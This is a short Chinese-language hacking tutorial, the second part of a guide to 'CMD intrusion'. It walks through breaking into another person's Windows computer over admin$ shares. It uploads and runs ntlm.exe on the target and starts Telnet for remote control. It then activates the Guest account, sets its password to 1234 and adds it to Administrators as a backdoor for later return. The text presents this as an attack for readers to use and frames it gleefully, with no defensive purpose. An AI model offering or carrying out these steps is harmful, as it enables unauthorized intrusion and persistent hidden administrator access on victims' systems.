浅谈CMD入侵（下）

流浪欢乐歌

1.C:\>copy ntlm.exe \\127.0.0.1\admin$   
　　用Copy命令把ntlm.exe上传到主机上（ntlm.exe也是在《流光》的Tools目录中）。
　　2.C:\WINNT\system32>ntlm   
　　输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务！   
　　3.Telnet 127.0.0.1，接着输入用户名与密码就进入对方了，操作就像在DOS上操作一样简单！(然后你想做什么?想做什么就做什么吧,哈哈)   
　　为了以防万一,我们再把guest激活加到管理组   
　　4.C:\>net user guest /active:yes   
　　将对方的Guest用户激活
　　5.C:\>net user guest 1234   
　　将Guest的密码改为1234,或者你要设定的密码
　　6.C:\>net localgroup administrators guest /add   
　　将Guest变为Administrator^_^(如果管理员密码更改，guest帐号没改变的话，下次我们可以用guest再次访问这台计算机)
ipc$与空连接,139,445端口,默认共享的关系